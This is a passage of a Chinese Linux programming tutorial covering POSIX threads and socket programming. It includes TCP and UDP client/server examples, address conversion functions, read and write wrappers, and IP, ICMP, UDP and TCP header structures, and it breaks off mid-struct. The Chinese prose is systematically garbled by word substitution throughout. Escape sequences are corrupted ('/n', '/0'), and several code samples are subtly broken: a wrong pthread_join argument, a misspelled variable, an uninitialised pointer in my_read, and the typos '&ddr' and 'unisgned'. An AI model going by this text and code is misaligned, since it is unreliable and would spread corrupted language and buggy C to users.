}

for(i=0,j=0;i<num;i++)
{
memset(filename,'/0',BUFFER);
strcpy(filename,namelist->;d_name);
if(stat(filename,&filestat)==-1)
{
fprintf(stderr,"Get File Information:%s/n/a",strerror(errno));
exit(1);
}
/* 咱们忽略目录 */
if(!S_ISREG(filestat.st_mode))continue;
if((file[j].infile=open(filename,O_RDONLY))<0)
{
fprintf(stderr,"Open %s Error:%s/n/a",filename,strerror(errno));
continue;
}
strcat(filename,".bak");
if((file[j].outfile=open(filename,O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))
<0)
{
fprintf(stderr,"Creat %s Error:%s/n/a",filename,strerror(errno
));
continue;
}
/* 建立线程,进行文件拷贝 */
if(pthread_create(&thread[j],NULL,copy,(void *)&file[j])!=0)
fprintf(stderr,"Create Thread[%d] Error:%s/n/a",i,strerror(errno));
j++;
}
byte_copy=0;
for(i=0;i<j;i++)
{
/* 等待线程结束 */
if(pthread_join(thread,(void **)&byte_copy_p)!=0)
fprintf(stderr,"Thread[%d] Join Error:%s/n/a",
i,strerror(errno));
else
{
if(bytes_copy_p==NULL)continue;
printf("Thread[%d] Copy %d bytes/n/a",i,*byte_copy_p);
byte_copy+=*byte_copy_p;
/* 释放咱们在copy函数里面建立的内存 */
free(byte_copy_p);
}
}
printf("Total Copy Bytes %d/n/a",byte_copy);
free(thread);
free(file);
exit(0);
}
线程的介绍就到这里了,关于线程的其余资料能够查看下面这写连接.
Getting Started With POSIX Threads
The LinuxThreads library git

8)Linux程序设计入门--网络编程

Linux系统的一个主要特色是他的网络功能很是强大。随着网络的日益普及，基于网络的
应用也将愈来愈多。在这个网络时代，掌握了Linux的网络编程技术，将令每个人处
于不败之地，学习Linux的网络编程，可让咱们真正的体会到网络的魅力。想成为一
位真正的hacker，必须掌握网络编程技术。
如今书店里面已经有了许多关于Linux网络编程方面的书籍，网络上也有了许多关于
网络编程方面的教材，你们均可以去看一看的。在这里我会和你们一块儿来领会Linux网
络编程的奥妙，因为我学习Linux的网络编程也开始不久，因此我下面所说的确定会有错
误的，还请你们指点出来，在这里我先谢谢你们了。
在这一个章节里面，我会和之前的几个章节不一样，在前面我都是归纳的说了一下，
从如今开始我会尽量的详细的说明每个函数及其用法。好了让咱们去领会Linux的伟
大的魅力吧！
开始进入网络编程

网络编程(1)

1. Linux网络知识介绍
1.1 客户端程序和服务端程序
网络程序和普通的程序有一个最大的区别是网络程序是由两个部分组成的--客户端和服
务器端.
网络程序是先有服务器程序启动,等待客户端的程序运行并创建链接.通常的来讲是服务
端的程序在一个端口上监听,直到有一个客户端的程序发来了请求.
1.2 经常使用的命令
因为网络程序是有两个部分组成,因此在调试的时候比较麻烦,为此咱们有必要知道一些
经常使用的网络命令
netstat
命令netstat是用来显示网络的链接,路由表和接口统计等网络的信息.netstat有许多的
选项咱们经常使用的选项是 -an 用来显示详细的网络状态.至于其它的选项咱们能够使用帮
助手册得到详细的状况.
telnet
telnet是一个用来远程控制的程序,可是咱们彻底能够用这个程序来调试咱们的服务端程
序的. 好比咱们的服务器程序在监听8888端口,咱们能够用telnet localhost 8888来查
看服务端的情况.
1.3 TCP/UDP介绍
TCP(Transfer Control Protocol)传输控制协议是一种面向链接的协议,当咱们的网络程
序使用这个协议的时候,网络能够保证咱们的客户端和服务端的链接是可靠的,安全的.

UDP(User Datagram Protocol)用户数据报协议是一种非面向链接的协议,这种协议并不
能保证咱们的网络程序的链接是可靠的,因此咱们如今编写的程序通常是采用TCP协议的
..

网络编程（2）

2. 初等网络函数介绍（TCP）
Linux系统是经过提供套接字(socket)来进行网络编程的.网络程序经过socket和其它
几个函数的调用,会返回一个通信的文件描述符,咱们能够将这个描述符当作普通的文件
的描述符来操做,这就是linux的设备无关性的好处.咱们能够经过向描述符读写操做实
现网络之间的数据交流.
2.1 socket
int socket(int domain, int type,int protocol)
domain:说明咱们网络程序所在的主机采用的通信协族(AF_UNIX和AF_INET等). AF_UN
IX只可以用于单一的Unix系统进程间通讯,而AF_INET是针对Internet的,于是能够容许在
远程主机之间通讯(当咱们 man socket时发现 domain可选项是 PF_*而不是AF_*,由于
glibc是posix的实现因此用PF代替了AF,不过咱们均可以使用的).
type:咱们网络程序所采用的通信协议(SOCK_STREAM,SOCK_DGRAM等) SOCK_STREAM代表
咱们用的是TCP协议,这样会提供按顺序的,可靠,双向,面向链接的比特流. SOCK_DGRAM
代表咱们用的是UDP协议,这样只会提供定长的,不可靠,无链接的通讯.
protocol:因为咱们指定了type,因此这个地方咱们通常只要用0来代替就能够了 sock
et为网络通信作基本的准备.成功时返回文件描述符,失败时返回-1,看errno可知道出错
的详细状况.
2.2 bind
int bind(int sockfd, struct sockaddr *my_addr, int addrlen)
sockfd:是由socket调用返回的文件描述符.
addrlen:是sockaddr结构的长度.
my_addr:是一个指向sockaddr的指针. 在<linux/socket.h>;中有 sockaddr的定义
struct sockaddr{
unisgned short as_family;
char sa_data[14];
};
不过因为系统的兼容性,咱们通常不用这个头文件,而使用另一个结构(struct sock
addr_in) 来代替.在<linux/in.h>;中有sockaddr_in的定义
struct sockaddr_in{
unsigned short sin_family;
unsigned short int sin_port;
struct in_addr sin_addr;
unsigned char sin_zero[8];
咱们主要使用Internet因此sin_family通常为AF_INET,sin_addr设置为INADDR_ANY表
示能够和任何的主机通讯,sin_port是咱们要监听的端口号.sin_zero[8]是用来填充的
.. bind将本地的端口同socket返回的文件描述符捆绑在一块儿.成功是返回0,失败的状况和
socket同样
2.3 listen
int listen(int sockfd,int backlog)
sockfd:是bind后的文件描述符.
backlog:设置请求排队的最大长度.当有多个客户端程序和服务端相连时, 使用这个表示
能够介绍的排队长度. listen函数将bind的文件描述符变为监听套接字.返回的状况和b
ind同样.
2.4 accept
int accept(int sockfd, struct sockaddr *addr,int *addrlen)
sockfd:是listen后的文件描述符.
addr,addrlen是用来给客户端的程序填写的,服务器端只要传递指针就能够了. bind,li
sten和accept是服务器端用的函数,accept调用时,服务器端的程序会一直阻塞到有一个
客户程序发出了链接. accept成功时返回最后的服务器端的文件描述符,这个时候服务
器端能够向该描述符写信息了. 失败时返回-1
2.5 connect
int connect(int sockfd, struct sockaddr * serv_addr,int addrlen)
sockfd:socket返回的文件描述符.
serv_addr:储存了服务器端的链接信息.其中sin_add是服务端的地址
addrlen:serv_addr的长度
connect函数是客户端用来同服务端链接的.成功时返回0,sockfd是同服务端通信的文件
描述符失败时返回-1.
2.6 实例
服务器端程序
/******* 服务器程序 (server.c) ************/
#include <stdlib.h>;
#include <stdio.h>;
#include <errno.h>;
#include <string.h>;
#include <netdb.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd,new_fd;
struct sockaddr_in server_addr;
struct sockaddr_in client_addr;
int sin_size,portnumber;
char hello[]="Hello! Are You Fine?/n";
if(argc!=2)
{
fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);
exit(1);
}
if((portnumber=atoi(argv[1]))<0)
{
fprintf(stderr,"Usage:%s portnumber/a/n",argv[0]);
exit(1);
}
/* 服务器端开始创建socket描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket error:%s/n/a",strerror(errno));
exit(1);
}
/* 服务器端填充 sockaddr结构 */
bzero(&server_addr,sizeof(struct sockaddr_in));
server_addr.sin_family=AF_INET;
server_addr.sin_addr.s_addr=htonl(INADDR_ANY);
server_addr.sin_port=htons(portnumber);
/* 捆绑sockfd描述符 */
if(bind(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr))==
-1)
{
fprintf(stderr,"Bind error:%s/n/a",strerror(errno));
exit(1);
}
/* 监听sockfd描述符 */
if(listen(sockfd,5)==-1)
{
fprintf(stderr,"Listen error:%s/n/a",strerror(errno));
exit(1);
}
while(1)
{
/* 服务器阻塞,直到客户程序创建链接 */
sin_size=sizeof(struct sockaddr_in);
if((new_fd=accept(sockfd,(struct sockaddr *)(&client_addr),&sin_size
))==-1)
{
fprintf(stderr,"Accept error:%s/n/a",strerror(errno));
exit(1);
}
fprintf(stderr,"Server get connection from %s/n",
inet_ntoa(client_addr.sin_addr));
if(write(new_fd,hello,strlen(hello))==-1)
{
fprintf(stderr,"Write Error:%s/n",strerror(errno));
exit(1);
}
/* 这个通信已经结束 */
close(new_fd);
/* 循环下一个 */
}
close(sockfd);
exit(0);
}
客户端程序
/******* 客户端程序 client.c ************/
#include <stdlib.h>;
#include <stdio.h>;
#include <errno.h>;
#include <string.h>;
#include <netdb.h>;
#include <sys/types.h>;
#include <netinet/in.h>;
#include <sys/socket.h>;
int main(int argc, char *argv[])
{
int sockfd;
char buffer[1024];
struct sockaddr_in server_addr;
struct hostent *host;
int portnumber,nbytes;
if(argc!=3)
{
fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);
exit(1);
}
if((host=gethostbyname(argv[1]))==NULL)
{
fprintf(stderr,"Gethostname error/n");
exit(1);
}
if((portnumber=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s hostname portnumber/a/n",argv[0]);
exit(1);
}
/* 客户程序开始创建 sockfd描述符 */
if((sockfd=socket(AF_INET,SOCK_STREAM,0))==-1)
{
fprintf(stderr,"Socket Error:%s/a/n",strerror(errno));
exit(1);
}
/* 客户程序填充服务端的资料 */
bzero(&server_addr,sizeof(server_addr));
server_addr.sin_family=AF_INET;
server_addr.sin_port=htons(portnumber);
server_addr.sin_addr=*((struct in_addr *)host->;h_addr);
/* 客户程序发起链接请求 */
if(connect(sockfd,(struct sockaddr *)(&server_addr),sizeof(struct sockaddr)
)==-1)
{
fprintf(stderr,"Connect Error:%s/a/n",strerror(errno));
exit(1);
}
/* 链接成功了 */
if((nbytes=read(sockfd,buffer,1024))==-1)
{
fprintf(stderr,"Read Error:%s/n",strerror(errno));
exit(1);
}
buffer[nbytes]='/0';
printf("I have received:%s/n",buffer);
/* 结束通信 */
close(sockfd);
exit(0);
}
MakeFile
这里咱们使用GNU 的make实用程序来编译. 关于make的详细说明见 Make 使用介绍
######### Makefile ###########
all:server client
server:server.c
gcc $^ -o $@
client:client.c
gcc $^ -o $@
运行make后会产生两个程序server(服务器端)和client(客户端) 先运行./server port
number& (portnumber随便取一个大于1204且不在/etc/services中出现的号码就用888
8好了),而后运行 ./client localhost 8888 看看有什么结果. (你也能够用telnet和n
etstat试一试.) 上面是一个最简单的网络程序,不过是否是也有点烦.上面有许多函数我
们尚未解释. 我会在下一章进行的详细的说明.
2.7 总结
总的来讲网络程序是由两个部分组成的--客户端和服务器端.它们的创建步骤通常是:
服务器端
socket-->;bind-->;listen-->;accept
客户端
socket-->;connect
--

网络编程(3)

3. 服务器和客户机的信息函数
这一章咱们来学习转换和网络方面的信息函数.
3.1 字节转换函数
在网络上面有着许多类型的机器,这些机器在表示数据的字节顺序是不一样的, 好比i386芯
片是低字节在内存地址的低端,高字节在高端,而alpha芯片却相反. 为了统一块儿来,在Li
nux下面,有专门的字节转换函数.
unsigned long int htonl(unsigned long int hostlong)
unsigned short int htons(unisgned short int hostshort)
unsigned long int ntohl(unsigned long int netlong)
unsigned short int ntohs(unsigned short int netshort)
在这四个转换函数中,h 表明host, n 表明 network.s 表明short l 表明long 第一个函
数的意义是将本机器上的long数据转化为网络上的long. 其余几个函数的意义也差很少
..
3.2 IP和域名的转换
在网络上标志一台机器能够用IP或者是用域名.那么咱们怎么去进行转换呢?
struct hostent *gethostbyname(const char *hostname)
struct hostent *gethostbyaddr(const char *addr,int len,int type)
在<netdb.h>;中有struct hostent的定义
struct hostent{
char *h_name; /* 主机的正式名称 */
char *h_aliases; /* 主机的别名 */
int h_addrtype; /* 主机的地址类型 AF_INET*/
int h_length; /* 主机的地址长度对于IP4 是4字节32位*/
char **h_addr_list; /* 主机的IP地址列表 */
}
#define h_addr h_addr_list[0] /* 主机的第一个IP地址*/
gethostbyname能够将机器名(如 linux.yessun.com)转换为一个结构指针.在这个结构里
面储存了域名的信息
gethostbyaddr能够将一个32位的IP地址(C 0A 80001)转换为结构指针.
这两个函数失败时返回NULL 且设置h_errno错误变量,调用h_strerror()能够获得详细的
出错信息
3.3 字符串的IP和32位的IP转换.
在网络上面咱们用的IP都是数字加点(192.168.0.1)构成的, 而在struct in_addr结构中
用的是32位的IP, 咱们上面那个32位IP(C 0A 80001)是的192.168.0.1 为了转换咱们能够
使用下面两个函数
int inet_aton(const char *cp,struct in_addr *inp)
char *inet_ntoa(struct in_addr in)
函数里面 a 表明 ascii n 表明network.第一个函数表示将a.b.c.d的IP转换为32位的I
P,存储在 inp指针里面.第二个是将32位IP转换为a.b.c.d的格式.
3.4 服务信息函数
在网络程序里面咱们有时候须要知道端口.IP和服务信息.这个时候咱们能够使用如下几
个函数
int getsockname(int sockfd,struct sockaddr *localaddr,int *addrlen)
int getpeername(int sockfd,struct sockaddr *peeraddr, int *addrlen)
struct servent *getservbyname(const char *servname,const char *protoname)
struct servent *getservbyport(int port,const char *protoname)
struct servent
{
char *s_name; /* 正式服务名 */
char **s_aliases; /* 别名列表 */
int s_port; /* 端口号 */
char *s_proto; /* 使用的协议 */
}
通常咱们不多用这几个函数.对应客户端,当咱们要获得链接的端口号时在connect调用成
功后使用可获得系统分配的端口号.对于服务端,咱们用INADDR_ANY填充后,为了获得连
接的IP咱们能够在accept调用成功后使用而获得IP地址.
在网络上有许多的默认端口和服务,好比端口21对ftp80对应WWW.为了获得指定的端口号
的服务咱们能够调用第四个函数,相反为了获得端口号能够调用第三个函数.
3.5 一个例子
#include <netdb.h>;
#include <stdio.h>;
#include <stdlib.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
int main(int argc ,char **argv)
{
struct sockaddr_in addr;
struct hostent *host;
char **alias;
if(argc<2)
{
fprintf(stderr,"Usage:%s hostname|ip../n/a",argv[0]);
exit(1);
}
argv++;
for(;*argv!=NULL;argv++)
{
/* 这里咱们假设是IP*/
if(inet_aton(*argv,&addr.sin_addr)!=0)
{
host=gethostbyaddr((char *)&addr.sin_addr,4,AF_INET);
printf("Address information of Ip %s/n",*argv);
}
else
{
/* 失败,难道是域名?*/
host=gethostbyname(*argv); printf("Address information

of host %s/n",*argv);
}
if(host==NULL)
{
/* 都不是 ,算了不找了*/
fprintf(stderr,"No address information of %s/n",*arg
v);
continue;
}
printf("Official host name %s/n",host->;h_name);
printf("Name aliases:");
for(alias=host->;h_aliases;*alias!=NULL;alias++)
printf("%s ,",*alias);
printf("/nIp address:");
for(alias=host->;h_addr_list;*alias!=NULL;alias++)
printf("%s ,",inet_ntoa(*(struct in_addr *)(*alias)));
}
}
在这个例子里面,为了判断用户输入的是IP仍是域名咱们调用了两个函数,第一次咱们假
设输入的是IP因此调用inet_aton, 失败的时候,再调用gethostbyname而获得信息.
--

网络编程(4)

4. 完整的读写函数
一旦咱们创建了链接,咱们的下一步就是进行通讯了.在Linux下面把咱们前面创建的通道
当作是文件描述符,这样服务器端和客户端进行通讯时候,只要往文件描述符里面读写东
西了. 就象咱们往文件读写同样.
4.1 写函数write
ssize_t write(int fd,const void *buf,size_t nbytes)
write函数将buf中的nbytes字节内容写入文件描述符fd.成功时返回写的字节数.失败时
返回-1. 并设置errno变量. 在网络程序中,当咱们向套接字文件描述符写时有俩种可能
..
1)write的返回值大于0,表示写了部分或者是所有的数据.
2)返回的值小于0,此时出现了错误.咱们要根据错误类型来处理.
若是错误为EINTR表示在写的时候出现了中断错误.
若是为EPIPE表示网络链接出现了问题(对方已经关闭了链接).
为了处理以上的状况,咱们本身编写一个写函数来处理这几种状况.
int my_write(int fd,void *buffer,int length)
{
int bytes_left;
int written_bytes;
char *ptr;
ptr=buffer;
bytes_left=length;
while(bytes_left>;0)
{
/* 开始写*/
written_bytes=write(fd,ptr,bytes_left);
if(written_bytes<=0) /* 出错了*/
{
if(errno==EINTR) /* 中断错误咱们继续写*/
written_bytes=0;
else /* 其余错误没有办法,只好撤退了*/
return(-1);
}
bytes_left-=written_bytes;
ptr+=written_bytes; /* 从剩下的地方继续写 */
}
return(0);
}
4.2 读函数read
ssize_t read(int fd,void *buf,size_t nbyte) read函数是负责从fd中读取内容.当读
成功时,read返回实际所读的字节数,若是返回的值是0 表示已经读到文件的结束了,小于
0表示出现了错误.若是错误为EINTR说明读是由中断引发的, 若是是ECONNREST表示网络
链接出了问题. 和上面同样,咱们也写一个本身的读函数.
int my_read(int fd,void *buffer,int length)
{
int bytes_left;
int bytes_read;
char *ptr;
bytes_left=length;
while(bytes_left>;0)
{
bytes_read=read(fd,ptr,bytes_read);
if(bytes_read<0)
{
if(errno==EINTR)
bytes_read=0;
else
return(-1);
}
else if(bytes_read==0)
break;
bytes_left-=bytes_read;
ptr+=bytes_read;
}
return(length-bytes_left);
}
4.3 数据的传递
有了上面的两个函数,咱们就能够向客户端或者是服务端传递数据了.好比咱们要传递一
个结构.能够使用以下方式
/* 客户端向服务端写 */
struct my_struct my_struct_client;
write(fd,(void *)&my_struct_client,sizeof(struct my_struct);
/* 服务端的读*/
char buffer[sizeof(struct my_struct)];
struct *my_struct_server;
read(fd,(void *)buffer,sizeof(struct my_struct));
my_struct_server=(struct my_struct *)buffer;
在网络上传递数据时咱们通常都是把数据转化为char类型的数据传递.接收的时候也是一
样的注意的是咱们没有必要在网络上传递指针(由于传递指针是没有任何意义的,咱们必
须传递指针所指向的内容)
--

网络编程(5)

5. 用户数据报发送
咱们前面已经学习网络程序的一个很大的部分,由这个部分的知识,咱们实际上能够写出
大部分的基于TCP协议的网络程序了.如今在Linux下的大部分程序都是用咱们上面所学的
知识来写的.咱们能够去找一些源程序来参考一下.这一章,咱们简单的学习一下基于UDP
协议的网络程序.
5.1 两个经常使用的函数
int recvfrom(int sockfd,void *buf,int len,unsigned int flags,struct socka
ddr * from int *fromlen)
int sendto(int sockfd,const void *msg,int len,unsigned int flags,struct s
ockaddr *to int tolen)
sockfd,buf,len的意义和read,write同样,分别表示套接字描述符,发送或接收的缓冲区
及大小.recvfrom负责从sockfd接收数据,若是from不是NULL,那么在from里面存储了信息
来源的状况,若是对信息的来源不感兴趣,能够将from和fromlen设置为NULL.sendto负责
向to发送信息.此时在to里面存储了收信息方的详细资料.
5.2 一个实例
/* 服务端程序 server.c */
#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <stdio.h>;
#include <errno.h>;
#define SERVER_PORT 8888
#define MAX_MSG_SIZE 1024
void udps_respon(int sockfd)
{
struct sockaddr_in addr;
int addrlen,n;
char msg[MAX_MSG_SIZE];
while(1)
{ /* 从网络上度,写到网络上面去 */
n=recvfrom(sockfd,msg,MAX_MSG_SIZE,0,
(struct sockaddr*)&addr,&addrlen);
msg[n]=0;
/* 显示服务端已经收到了信息 */
fprintf(stdout,"I have received %s",msg);
sendto(sockfd,msg,n,0,(struct sockaddr*)&addr,addrlen);
}
}
int main(void)
{
int sockfd;
struct sockaddr_in addr;
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n",strerror(errno));
exit(1);
}
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_addr.s_addr=htonl(INADDR_ANY);
addr.sin_port=htons(SERVER_PORT);
if(bind(sockfd,(struct sockaddr *)&ddr,sizeof(struct sockaddr_in))<0
)
{
fprintf(stderr,"Bind Error:%s/n",strerror(errno));
exit(1);
}
udps_respon(sockfd);
close(sockfd);
}
/* 客户端程序 */
#include <sys/types.h>;
#include <sys/socket.h>;
#include <netinet/in.h>;
#include <errno.h>;
#include <stdio.h>;
#include <unistd.h>;
#define MAX_BUF_SIZE 1024
void udpc_requ(int sockfd,const struct sockaddr_in *addr,int len)
{
char buffer[MAX_BUF_SIZE];
int n;
while(1)
{ /* 从键盘读入,写到服务端 */
fgets(buffer,MAX_BUF_SIZE,stdin);
sendto(sockfd,buffer,strlen(buffer),0,addr,len);
bzero(buffer,MAX_BUF_SIZE);
/* 从网络上读,写到屏幕上 */
n=recvfrom(sockfd,buffer,MAX_BUF_SIZE,0,NULL,NULL);
buffer[n]=0;
fputs(buffer,stdout);
}
}
int main(int argc,char **argv)
{
int sockfd,port;
struct sockaddr_in addr;
if(argc!=3)
{
fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);
exit(1);
}
if((port=atoi(argv[2]))<0)
{
fprintf(stderr,"Usage:%s server_ip server_port/n",argv[0]);
exit(1);
}
sockfd=socket(AF_INET,SOCK_DGRAM,0);
if(sockfd<0)
{
fprintf(stderr,"Socket Error:%s/n",strerror(errno));
exit(1);
}
/* 填充服务端的资料 */
bzero(&addr,sizeof(struct sockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
if(inet_aton(argv[1],&addr.sin_addr)<0)
{
fprintf(stderr,"Ip error:%s/n",strerror(errno));
exit(1);
}
udpc_requ(sockfd,&addr,sizeof(struct sockaddr_in));
close(sockfd);
}
########### 编译文件 Makefile ##########
all:server client
server:server.c
gcc -o server server.c
client:client.c
gcc -o client client.c
clean:
rm -f server
rm -f client
rm -f core
上面的实例若是你们编译运行的话,会发现一个小问题的. 在我机器上面,我先运行服务
端,而后运行客户端.在客户端输入信息,发送到服务端, 在服务端显示已经收到信息,但
是客户端没有反映.再运行一个客户端,向服务端发出信息却能够获得反应.我想多是
第一个客户端已经阻塞了.若是谁知道怎么解决的话,请告诉我,谢谢. 因为UDP协议是不
保证可靠接收数据的要求,因此咱们在发送信息的时候,系统并不可以保证咱们发出的信
息都正确无误的到达目的地.通常的来讲咱们在编写网络程序的时候都是选用TCP协议的
--

网络编程(6)

6. 高级套接字函数
在前面的几个部分里面,咱们已经学会了怎么样从网络上读写信息了.前面的一些函数(r
ead,write)是网络程序里面最基本的函数.也是最原始的通讯函数.在这一章里面,咱们一
起来学习网络通讯的高级函数.这一章咱们学习另外几个读写函数.
6.1 recv和send
recv和send函数提供了和read和write差很少的功能.不过它们提供了第四个参数来控制
读写操做.
int recv(int sockfd,void *buf,int len,int flags)
int send(int sockfd,void *buf,int len,int flags)
前面的三个参数和read,write同样,第四个参数能够是0或者是如下的组合
_______________________________________________________________
| MSG_DONTROUTE | 不查找路由表 |
| MSG_OOB | 接受或者发送带外数据 |
| MSG_PEEK | 查看数据,并不从系统缓冲区移走数据 |
| MSG_WAITALL | 等待全部数据 |
|--------------------------------------------------------------|
MSG_DONTROUTE:是send函数使用的标志.这个标志告诉IP协议.目的主机在本地网络上面
,没有必要查找路由表.这个标志通常用网络诊断和路由程序里面.
MSG_OOB:表示能够接收和发送带外的数据.关于带外数据咱们之后会解释的.
MSG_PEEK:是recv函数的使用标志,表示只是从系统缓冲区中读取内容,而不清楚系统缓冲
区的内容.这样下次读的时候,仍然是同样的内容.通常在有多个进程读写数据时能够使用
这个标志.
MSG_WAITALL是recv函数的使用标志,表示等到全部的信息到达时才返回.使用这个标志的
时候recv回一直阻塞,直到指定的条件知足,或者是发生了错误. 1)当读到了指定的字节
时,函数正常返回.返回值等于len 2)当读到了文件的结尾时,函数正常返回.返回值小于
len 3)当操做发生错误时,返回-1,且设置错误为相应的错误号(errno)
若是flags为0,则和read,write同样的操做.还有其它的几个选项,不过咱们实际上用的很
少,能够查看 Linux Programmer's Manual获得详细解释.
6.2 recvfrom和sendto
这两个函数通常用在非套接字的网络程序当中(UDP),咱们已经在前面学会了.
6.3 recvmsg和sendmsg
recvmsg和sendmsg能够实现前面全部的读写函数的功能.
int recvmsg(int sockfd,struct msghdr *msg,int flags)
int sendmsg(int sockfd,struct msghdr *msg,int flags)
struct msghdr
{
void *msg_name;
int msg_namelen;
struct iovec *msg_iov;
int msg_iovlen;
void *msg_control;
int msg_controllen;
int msg_flags;
}
struct iovec
{
void *iov_base; /* 缓冲区开始的地址 */
size_t iov_len; /* 缓冲区的长度 */
}
msg_name和 msg_namelen当套接字是非面向链接时(UDP),它们存储接收和发送方的地址
信息.msg_name其实是一个指向struct sockaddr的指针,msg_name是结构的长度.当套
接字是面向链接时,这两个值应设为NULL. msg_iov和msg_iovlen指出接受和发送的缓冲
区内容.msg_iov是一个结构指针,msg_iovlen指出这个结构数组的大小. msg_control和
msg_controllen这两个变量是用来接收和发送控制数据时的 msg_flags指定接受和发送
的操做选项.和recv,send的选项同样
6.4 套接字的关闭
关闭套接字有两个函数close和shutdown.用close时和咱们关闭文件同样.
6.5 shutdown
int shutdown(int sockfd,int howto)
TCP链接是双向的(是可读写的),当咱们使用close时,会把读写通道都关闭,有时侯咱们希
望只关闭一个方向,这个时候咱们能够使用shutdown.针对不一样的howto,系统回采起不一样
的关闭方式.
howto=0这个时候系统会关闭读通道.可是能够继续往接字描述符写.
howto=1关闭写通道,和上面相反,着时候就只能够读了.
howto=2关闭读写通道,和close同样在多进程程序里面,若是有几个子进程共享一个套接
字时,若是咱们使用shutdown, 那么全部的子进程都不可以操做了,这个时候咱们只可以
使用close来关闭子进程的套接字描述符.

网络编程(7)

7. TCP/IP协议
你也许据说过TCP/IP协议,那么你知道到底什么是TCP,什么是IP吗?在这一章里面,咱们一
起来学习这个目前网络上用最普遍的协议.
7.1 网络传输分层
若是你考过计算机等级考试,那么你就应该已经知道了网络传输分层这个概念.在网络上
,人们为了传输数据时的方便,把网络的传输分为7个层次.分别是:应用层,表示层,会话层
,传输层,网络层,数据链路层和物理层.分好了层之后,传输数据时,上一层若是要数据的
话,就能够直接向下一层要了,而没必要要管数据传输的细节.下一层也只向它的上一层提供
数据,而不要去管其它东西了.若是你不想考试,你没有必要去记这些东西的.只要知道是
分层的,并且各层的做用不一样.
7.2 IP协议
IP协议是在网络层的协议.它主要完成数据包的发送做用. 下面这个表是IP4的数据包格
式
0 4 8 16 32
--------------------------------------------------
|版本 |首部长度|服务类型| 数据包总长 |
--------------------------------------------------
| 标识 |DF |MF| 碎片偏移 |
--------------------------------------------------
| 生存时间 | 协议 | 首部较验和 |
------------------------------------------------
| 源IP地址 |
------------------------------------------------
| 目的IP地址 |
-------------------------------------------------
| 选项 |
=================================================
| 数据 |
-------------------------------------------------
下面咱们看一看IP的结构定义<netinet/ip.h>;
struct ip
{
#if __BYTE_ORDER == __LITTLE_ENDIAN
unsigned int ip_hl:4; /* header length */
unsigned int ip_v:4; /* version */
#endif
#if __BYTE_ORDER == __BIG_ENDIAN
unsigned int ip_v:4; /* version */
unsigned int ip_hl:4; /* header length */
#endif
u_int8_t ip_tos; /* type of service */
u_short ip_len; /* total length */
u_short ip_id; /* identification */
u_short ip_off; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
u_int8_t ip_ttl; /* time to live */
u_int8_t ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src, ip_dst; /* source and dest address */
};
ip_vIP协议的版本号,这里是4,如今IPV6已经出来了
ip_hlIP包首部长度,这个值以4字节为单位.IP协议首部的固定长度为20个字节,若是IP包
没有选项,那么这个值为5.
ip_tos服务类型,说明提供的优先权.
ip_len说明IP数据的长度.以字节为单位.
ip_id标识这个IP数据包.
ip_off碎片偏移,这和上面ID一块儿用来重组碎片的.
ip_ttl生存时间.没通过一个路由的时候减一,直到为0时被抛弃.
ip_p协议,表示建立这个IP数据包的高层协议.如TCP,UDP协议.
ip_sum首部校验和,提供对首部数据的校验.
ip_src,ip_dst发送者和接收者的IP地址
关于IP协议的详细状况,请参考 RFC791
7.3 ICMP协议
ICMP是消息控制协议,也处于网络层.在网络上传递IP数据包时,若是发生了错误,那么就
会用ICMP协议来报告错误.
ICMP包的结构以下:
0 8 16 32
---------------------------------------------------------------------
| 类型 | 代码 | 校验和 |
--------------------------------------------------------------------
| 数据 | 数据 |
--------------------------------------------------------------------
ICMP在<netinet/ip_icmp.h>;中的定义是
struct icmphdr
{
u_int8_t type; /* message type */
u_int8_t code; /* type sub-code */
u_int16_t checksum;
union
{
struct
{
u_int16_t id;
u_int16_t sequence;
} echo; /* echo datagram */
u_int32_t gateway; /* gateway address */
struct
{
u_int16_t __unused;
u_int16_t mtu;
} frag; /* path mtu discovery */
} un;
};
关于ICMP协议的详细状况能够查看 RFC792
7.4 UDP协议
UDP协议是创建在IP协议基础之上的,用在传输层的协议.UDP和IP协议同样是不可靠的数
据报服务.UDP的头格式为:
0 16 32
---------------------------------------------------
| UDP源端口 | UDP目的端口 |
---------------------------------------------------
| UDP数据报长度 | UDP数据报校验 |
---------------------------------------------------
UDP结构在<netinet/udp.h>;中的定义为:
struct udphdr {
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
关于UDP协议的详细状况,请参考 RFC768
7.5 TCP
TCP协议也是创建在IP协议之上的,不过TCP协议是可靠的.按照顺序发送的.TCP的数据结
构比前面的结构都要复杂.
0 4 8 10 16 24 32
-------------------------------------------------------------------
| 源端口 | 目的端口 |
-------------------------------------------------------------------
| 序列号 |
------------------------------------------------------------------
| 确认号 |
------------------------------------------------------------------
| | |U|A|P|S|F| |
|首部长度| 保留 |R|C|S|Y|I| 窗口 |
| | |G|K|H|N|N| |
-----------------------------------------------------------------
| 校验和 | 紧急指针 |
-----------------------------------------------------------------
| 选项 | 填充字节 |
-----------------------------------------------------------------
TCP的结构在<netinet/tcp.h>;中定义为:
struct tcphdr
{
u_int16_t source;
u_int16_t dest;
u_int32_t seq;
u_int32_t ack_seq;
#if __BYTE_ORDER == __LITTLE_ENDIAN
u_int16_t res1:4;
u_int16_t doff:4;
u_int16_t fin:1;
u_int16_t syn:1;
u_int16_t rst:1;
u_int16_t psh:1;
u_int16_t ack:1;
u_int16_t urg:1;
u_int16_t res2:2;
#elif __BYTE_ORDER == __BIG_ENDIAN
